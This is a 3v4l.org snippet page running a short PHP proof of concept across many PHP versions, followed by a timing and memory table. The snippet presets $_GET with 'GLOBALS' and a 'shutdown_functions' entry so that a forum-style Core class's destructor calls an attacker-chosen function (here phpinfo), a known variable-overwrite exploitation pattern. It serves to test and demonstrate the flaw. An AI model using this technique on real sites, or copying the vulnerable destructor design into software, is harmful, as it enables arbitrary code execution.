3v4l.org

run code in 300+ PHP versions simultaneously
<?php $_GET = array('GLOBALS'=>'1', 'shutdown_functions'=>array('function'=>'phpinfo', 'arguments'=>'1')); class Core { function __construct() { $protected = array("_GET", "_POST", "_SERVER", "_COOKIE", "_FILES", "_ENV", "GLOBALS"); foreach($protected as $var) { if(isset($_REQUEST[$var]) || isset($_FILES[$var])) { exit("Hacking attempt"); } } if(@ini_get("register_globals") == 1) { $this->unset_globals($_POST); $this->unset_globals($_GET); $this->unset_globals($_FILES); $this->unset_globals($_COOKIE); } } function unset_globals($array) { if(!is_array($array)) { return; } foreach(array_keys($array) as $key) { unset($GLOBALS[$key]); } } function __destruct() { global $shutdown_functions; if($shutdown_functions && is_array($shutdown_functions)) { call_user_func($shutdown_functions['function'], $shutdown_functions['arguments']); } } } $core = new Core; $shutdown_functions = array(); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0090.00616.63
8.3.50.0090.01021.98
8.3.40.0140.00018.81
8.3.30.0140.00018.84
8.3.20.0000.00720.30
8.3.10.0090.00021.79
8.3.00.0040.00419.23
8.2.180.0070.00716.50
8.2.170.0110.00322.96
8.2.160.0040.01120.41
8.2.150.0080.00025.66
8.2.140.0000.00824.66
8.2.130.0000.00817.63
8.2.120.0040.00426.35
8.2.110.0030.00621.07
8.2.100.0120.00018.03
8.2.90.0030.00619.19
8.2.80.0000.01117.97
8.2.70.0080.00017.75
8.2.60.0000.00818.03
8.2.50.0000.00818.07
8.2.40.0060.00319.41
8.2.30.0070.00020.61
8.2.20.0030.00717.82
8.2.10.0000.00718.02
8.2.00.0050.00218.13
8.1.280.0040.01525.92
8.1.270.0040.00423.82
8.1.260.0080.00028.09
8.1.250.0060.00328.09
8.1.240.0190.00320.97
8.1.230.0050.00517.68
8.1.220.0040.00417.74
8.1.210.0030.00618.77
8.1.200.0060.00317.35
8.1.190.0050.00317.35
8.1.180.0040.00418.10
8.1.170.0050.00318.69
8.1.160.0070.00022.11
8.1.150.0070.00018.96
8.1.140.0050.00319.60
8.1.130.0030.00317.76
8.1.120.0030.00617.50
8.1.110.0030.00317.54
8.1.100.0000.00917.45
8.1.90.0020.00517.46
8.1.80.0000.00717.38
8.1.70.0000.00817.45
8.1.60.0040.00417.63
8.1.50.0000.00917.53
8.1.40.0000.00817.58
8.1.30.0030.00517.75
8.1.20.0040.00417.55
8.1.10.0050.00317.54
8.1.00.0040.00417.52
8.0.300.0080.00018.77
8.0.290.0000.00716.75
8.0.280.0070.00018.46
8.0.270.0070.00017.16
8.0.260.0040.00417.23
8.0.250.0040.00417.03
8.0.240.0000.00816.82
8.0.230.0050.00316.89
8.0.220.0000.00716.92
8.0.210.0020.00716.96
8.0.200.0040.00416.91
8.0.190.0040.00416.89
8.0.180.0040.00416.91
8.0.170.0030.00516.83
8.0.160.0040.00416.90
8.0.150.0030.00316.82
8.0.140.0070.00016.73
8.0.130.0060.00013.38
8.0.120.0000.00816.87
8.0.110.0040.00416.81
8.0.100.0000.00716.74
8.0.90.0040.00416.91
8.0.80.0030.01316.80
8.0.70.0050.00216.86
8.0.60.0080.00016.80
8.0.50.0040.00416.77
8.0.30.0110.00817.06
8.0.20.0090.01517.40
8.0.10.0000.00817.06
8.0.00.0080.00916.78
7.4.330.0000.00516.79
7.4.320.0000.00716.66
7.4.300.0060.00016.64
7.4.290.0080.00016.63
7.4.280.0000.00816.48
7.4.270.0000.00716.44
7.4.260.0070.00016.61
7.4.250.0040.00416.48
7.4.240.0020.00516.56
7.4.230.0030.00316.61
7.4.220.0080.01216.56
7.4.210.0070.01016.45
7.4.200.0050.00216.69
7.4.160.0060.00916.47
7.4.150.0100.01317.40
7.4.140.0130.00817.86
7.4.130.0150.00316.56
7.4.120.0070.01016.44
7.4.110.0110.00716.55
7.4.100.0130.00316.53
7.4.90.0100.00616.59
7.4.80.0080.01419.39
7.4.70.0100.01316.60
7.4.60.0060.00916.35
7.4.50.0060.00916.55
7.4.40.0080.00816.51
7.4.30.0060.01516.54
7.4.10.0080.01215.02
7.4.00.0110.00514.82
7.3.330.0050.00513.41
7.3.320.0040.00413.24
7.3.310.0070.00016.34
7.3.300.0070.00016.41
7.3.290.0090.00616.34
7.3.280.0130.00316.40
7.3.270.0230.02017.40
7.3.260.0090.00916.40
7.3.250.0090.00916.46
7.3.240.0080.01316.47
7.3.230.0030.01316.44
7.3.210.0060.01216.45
7.3.200.0090.01216.69
7.3.190.0140.00616.50
7.3.180.0170.00016.63
7.3.170.0170.00016.44
7.3.160.0030.01316.39
7.3.130.0040.01214.93
7.3.120.0040.01115.07
7.3.110.0040.01415.11
7.3.100.0100.00714.70
7.3.90.0100.00314.93
7.3.80.0030.00915.05
7.3.70.0030.00914.91
7.3.60.0060.00314.96
7.3.50.0100.00314.77
7.3.40.0130.00614.92
7.3.30.0030.01014.86
7.3.20.0090.00616.68
7.3.10.0110.00016.61
7.3.00.0030.00716.73
7.2.330.0070.01816.62
7.2.320.0220.00316.79
7.2.310.0060.01016.74
7.2.300.0110.00916.86
7.2.290.0070.01016.88
7.2.260.0060.00515.07
7.2.250.0110.00715.08
7.2.240.0120.00315.04
7.2.230.0060.01015.09
7.2.220.0100.00714.68
7.2.210.0080.00415.22
7.2.200.0060.00314.95
7.2.190.0030.01215.21
7.2.180.0040.01114.94
7.2.170.0060.01314.95
7.2.160.0040.00815.06
7.2.150.0060.00316.90
7.2.140.0060.00816.99
7.2.130.0030.00716.93
7.2.120.0100.00716.83
7.2.110.0030.00617.05
7.2.100.0060.00916.93
7.2.90.0000.01917.13
7.2.80.0030.00916.78
7.2.70.0080.00416.98
7.2.60.0070.01016.96
7.2.50.0060.01217.11
7.2.40.0030.00617.10
7.2.30.0030.01016.97
7.2.20.0060.00917.18
7.2.10.0030.01216.86
7.2.00.0070.00818.11
7.1.330.0110.00415.68
7.1.320.0060.00615.98
7.1.310.0060.00616.00
7.1.300.0060.00815.89
7.1.290.0070.01015.76
7.1.280.0030.01015.57
7.1.270.0070.00415.54
7.1.260.0060.00615.79
7.1.250.0030.00615.71
7.1.240.0030.00715.70
7.1.230.0030.01015.63
7.1.220.0030.01015.61
7.1.210.0070.00315.54
7.1.200.0030.01015.48
7.1.190.0000.01016.04
7.1.180.0090.00615.77
7.1.170.0000.01715.78
7.1.160.0040.00815.87
7.1.150.0040.01215.52
7.1.140.0000.01415.68
7.1.130.0090.00615.98
7.1.120.0120.00315.72
7.1.110.0060.00615.84
7.1.100.0020.01017.09
7.1.90.0060.00915.48
7.1.80.0000.01315.80
7.1.70.0060.00716.35
7.1.60.0080.00617.60
7.1.50.0110.00816.34
7.1.40.0060.01015.77
7.1.30.0000.00815.82
7.1.20.0000.00915.60
7.1.10.0070.00715.86
7.1.00.0020.04419.05
7.0.330.0060.00915.41
7.0.320.0110.00315.50
7.0.310.0060.01015.39
7.0.300.0030.00515.57
7.0.290.0090.00615.44
7.0.280.0090.00615.65
7.0.270.0000.01515.50
7.0.260.0030.01315.46
7.0.250.0030.01015.45
7.0.240.0030.00715.58
7.0.230.0100.00315.21
7.0.220.0070.01115.59
7.0.210.0080.00015.55
7.0.200.0030.00616.07
7.0.190.0130.00315.42
7.0.180.0090.00615.28
7.0.170.0040.00415.34
7.0.160.0040.00815.43
7.0.150.0060.01015.23
7.0.140.0000.01115.36
7.0.130.0090.00315.39
7.0.120.0060.00615.46
7.0.110.0060.00315.54
7.0.100.0050.03517.86
7.0.90.0080.04017.62
7.0.80.0070.03017.75
7.0.70.0050.02817.79
7.0.60.0070.03017.78
7.0.50.0220.02717.91
7.0.40.0080.04316.88
7.0.30.0090.03516.91
7.0.20.0030.04516.87
7.0.10.0060.02416.88
7.0.00.0090.04016.85
5.6.400.0000.01514.44
5.6.390.0060.00814.67
5.6.380.0090.00914.14
5.6.370.0040.00814.60
5.6.360.0060.00614.29
5.6.350.0040.01414.25
5.6.340.0100.00614.41
5.6.330.0000.01514.48
5.6.320.0040.00414.51
5.6.310.0070.00714.28
5.6.300.0040.00414.46
5.6.290.0000.00913.99
5.6.280.0040.03017.80
5.6.270.0060.00614.32
5.6.260.0030.00714.82
5.6.250.0110.03017.56
5.6.240.0020.02717.61
5.6.230.0090.04017.48
5.6.220.0120.03717.57
5.6.210.0020.03117.56
5.6.200.0070.04217.81
5.6.190.0020.05217.73
5.6.180.0010.04117.71
5.6.170.0130.04117.70
5.6.160.0050.04317.71
5.6.150.0020.02817.88
5.6.140.0040.04517.95
5.6.130.0070.04717.83
5.6.120.0040.03717.71
5.6.110.0020.02617.86
5.6.100.0080.04317.69
5.6.90.0070.02517.73
5.6.80.0050.04617.33
5.6.70.0110.04017.44
5.6.60.0020.04617.27
5.6.50.0080.04217.34
5.6.40.0020.04717.32
5.6.30.0070.04517.25
5.6.20.0050.04217.30
5.6.10.0060.03817.37
5.6.00.0090.03917.45
5.5.380.0060.02517.46
5.5.370.0050.02517.40
5.5.360.0060.04417.53
5.5.350.0080.04317.53
5.5.340.0030.04517.57
5.5.330.0090.03817.52
5.5.320.0020.03017.54
5.5.310.0140.03317.63
5.5.300.0090.03317.66
5.5.290.0100.04017.40
5.5.280.0070.02317.56
5.5.270.0090.03817.73
5.5.260.0120.04217.59
5.5.250.0090.04117.52
5.5.240.0100.04017.21
5.5.230.0070.03717.11
5.5.220.0100.04217.17
5.5.210.0060.04317.31
5.5.200.0020.04917.35
5.5.190.0050.04617.27
5.5.180.0060.04617.34
5.5.170.0040.00814.43
5.5.160.0080.02317.18
5.5.150.0060.03517.23
5.5.140.0050.04517.18
5.5.130.0030.02917.24
5.5.120.0070.04317.22
5.5.110.0090.04217.23
5.5.100.0030.03117.28
5.5.90.0070.04217.05
5.5.80.0050.04617.00
5.5.70.0090.02417.16
5.5.60.0110.03317.26
5.5.50.0080.03717.08
5.5.40.0080.04017.24
5.5.30.0100.03517.29
5.5.20.0090.04117.29
5.5.10.0030.04317.29
5.5.00.0020.04617.15
5.4.450.0070.08319.56
5.4.440.0070.08319.55
5.4.430.0000.08319.46
5.4.420.0070.08319.48
5.4.410.0070.06019.22
5.4.400.0070.04319.14
5.4.390.0070.04719.16
5.4.380.0000.08719.23
5.4.370.0100.08018.95
5.4.360.0100.07718.88
5.4.350.0100.04019.05
5.4.340.0100.08019.18
5.4.320.0100.07319.21
5.4.310.0070.07318.95
5.4.300.0130.06318.87
5.4.290.0030.08319.04
5.4.280.0100.07719.08
5.4.270.0170.04719.13
5.4.260.0070.08018.84
5.4.250.0000.04719.04
5.4.240.0030.06019.02
5.4.230.0130.04318.89
5.4.220.0130.06319.20
5.4.210.0000.07719.17
5.4.200.0230.05719.12
5.4.190.0170.06019.03
5.4.180.0000.08318.86
5.4.170.0100.07319.11
5.4.160.0130.06718.88
5.4.150.0100.04318.88
5.4.140.0000.07316.45
5.4.130.0170.05316.32
5.4.120.0100.07016.39
5.4.110.0130.05016.50
5.4.100.0000.08016.41
5.4.90.0130.06716.33
5.4.80.0070.06716.41
5.4.70.0000.04716.32
5.4.60.0070.05716.34
5.4.50.0030.06016.36
5.4.40.0070.05016.45
5.4.30.0070.07316.35
5.4.20.0100.07016.36
5.4.10.0030.07316.36
5.4.00.0130.05315.84
5.3.290.0030.06014.70
5.3.280.0130.04314.71
5.3.270.0100.07714.62
5.3.260.0030.04714.73
5.3.250.0030.04014.63
5.3.240.0170.06714.54
5.3.230.0100.07314.67
5.3.220.0070.07314.52
5.3.210.0100.07314.55
5.3.200.0100.06714.72
5.3.190.0100.07014.67
5.3.180.0070.04714.68
5.3.170.0100.05314.50
5.3.160.0070.07014.61
5.3.150.0070.07314.56
5.3.140.0130.06714.49
5.3.130.0130.06714.48
5.3.120.0000.07314.54
5.3.110.0100.06714.68
5.3.100.0070.07014.02
5.3.90.0000.07014.09
5.3.80.0100.07014.04
5.3.70.0000.07014.09
5.3.60.0100.03714.04
5.3.50.0000.04713.98
5.3.40.0000.08013.93
5.3.30.0100.06313.89
5.3.20.0030.04313.59
5.3.10.0070.06713.78
5.3.00.0130.05713.58
5.2.170.0030.06711.09
5.2.160.0030.04711.17
5.2.150.0000.04011.05
5.2.140.0030.06711.06
5.2.130.0100.05711.20
5.2.120.0000.06011.16
5.2.110.0070.06011.11
5.2.100.0030.04011.01
5.2.90.0100.05011.05
5.2.80.0100.06011.12
5.2.70.0030.06711.20
5.2.60.0030.05711.17
5.2.50.0100.03311.05
5.2.40.0030.05010.92
5.2.30.0030.04011.00
5.2.20.0030.06011.03
5.2.10.0030.05010.96
5.2.00.0030.06010.83
5.1.60.0000.06010.04
5.1.50.0100.0509.84
5.1.40.0030.0579.98
5.1.30.0030.05710.40
5.1.20.0030.06010.42
5.1.10.0070.04310.20
5.1.00.0030.0509.93
5.0.50.0070.0378.51
5.0.40.0070.0408.51
5.0.30.0070.0378.51
5.0.20.0070.0278.51
5.0.10.0130.0338.51
5.0.00.0000.0708.51
4.4.90.0000.0378.51
4.4.80.0000.0378.51
4.4.70.0000.0378.51
4.4.60.0000.0408.51
4.4.50.0130.0238.51
4.4.40.0030.0338.51
4.4.30.0000.0438.51
4.4.20.0070.0338.51
4.4.10.0030.0338.51
4.4.00.0000.0578.51
4.3.110.0070.0308.51
4.3.100.0070.0178.51
4.3.90.0000.0278.51
4.3.80.0130.0338.51
4.3.70.0030.0378.51
4.3.60.0100.0278.51
4.3.50.0030.0338.51
4.3.40.0030.0478.51
4.3.30.0000.0408.51
4.3.20.0000.0338.51
4.3.10.0030.0338.51
4.3.00.0070.0278.51

preferences:
47.79 ms | 401 KiB | 5 Q